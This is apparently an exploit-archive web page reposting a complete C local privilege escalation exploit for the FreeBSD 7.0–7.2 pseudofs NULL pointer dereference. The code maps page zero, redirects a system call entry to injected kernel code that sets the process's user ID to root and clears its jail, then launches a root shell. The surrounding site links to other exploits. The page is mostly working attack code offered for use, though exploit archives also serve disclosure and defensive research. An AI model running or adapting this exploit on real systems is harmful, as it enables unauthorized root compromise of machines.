首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FreeBSD 'pseudofs' NULL Pointer Dereference Local Privilege Escalation Vulnerabi
来源:vfocus.net 作者:Padlina 发布时间:2010-10-05  

/*
 * Source: http://www.securityfocus.com/bid/43060/info
 * 18.08.2010, babcia padlina
 * FreeBSD 7.0 - 7.2 pseudofs null ptr dereference exploit
 *
 *
 * to obtain SYSENT8_SYCALL_ADDR, run:
 * $ kgdb /boot/kernel/kernel
 * (kgdb) print &sysent[8].sy_call
 */

#define SYSENT8_SYCALL_ADDR 0xc0c4afa4  /* FreeBSD 7.2-RELEASE */

#define _KERNEL

#include <sys/param.h>
#include <sys/conf.h>
#include <sys/ucred.h>

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/extattr.h>
#include <sys/uio.h>
#include <sys/turnstile.h>
#include <sys/queue.h>

struct turnstile {
 struct mtx ts_lock;
 struct threadqueue ts_blocked[2];
 struct threadqueue ts_pending;
 LIST_ENTRY(turnstile) ts_hash;
 LIST_ENTRY(turnstile) ts_link;
 LIST_HEAD(, turnstile) ts_free;
 struct lock_object *ts_lockobj;
 struct thread *ts_owner;
};

volatile int gotroot = 0;

static void kernel_code(void) {
 struct thread *thread;

 asm(
  "movl %%fs:0, %0"
  : "=r"(thread)
 );

 /*
  * kernel_code() is called while thread is in critical section,
  * so we need to unset td_critnest flag to prevent panic after
  * nearest user mode page fault.
  */
 thread->td_critnest = 0;
 thread->td_proc->p_ucred->cr_uid = 0;
 thread->td_proc->p_ucred->cr_prison = NULL;
 gotroot = 1;

 return;
}

int main(int argc, char **argv) {
 struct turnstile *ts = 0;

 if (access("/proc/curproc/cmdline", R_OK)) {
  printf("procfs not found.\n");
  return -1;
 }

 if (mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
  printf("mmap 0x0 failed.\n");
  return -1;
 }

 memset(0, 0, PAGE_SIZE);

 /*
  * we need to call dummy extattr_get_link() here, to make
  * libc memory pages accessible without user mode page fault. without
  * it, panic will occur after next extattr_get_link().
  */
 extattr_get_link("/dev/null", 0, 0, 0, 0);

 /* overwrite sysent[8].sy_call with 0x0 */
 ts->ts_blocked[0].tqh_first = (void *)(SYSENT8_SYCALL_ADDR - 0x1c);
 extattr_get_link("/proc/curproc/cmdline", 0, 0, 0, 0);

 *(char *)0x0 = 0x90;
 *(char *)0x1 = 0xe9;
 *(unsigned long *)0x2 = &kernel_code;

 asm(
  "movl $0x8, %eax;"
  "int $0x80;"
 );

 if (gotroot) {
  printf("oops, I did it again.\n");
  setuid(0);
  setgid(0);
  execl("/bin/sh", "sh", NULL);
 }

 printf("exploit failed.\n");

 return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·win32/xp pro sp3 (EN) 32-bit -
·SnackAmp 3.1.3B Malicious SMP
·generic win32 - add new local
·Abhimanyu Infotech (show_news.
·Cilem Haber v1.4.4 (Tr) Databa
·kernel-2.6.18-164 2010 Local R
·Adobe Acrobat and Reader Array
·MySql version 5.2 Change passw
·ASP.NET Padding Oracle Vulnera
·AudioTran 1.4.2.4 SafeSEH + SE
·HP Data Protector Media Operat
·Hanso Player Version 1.3.0 (.m
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved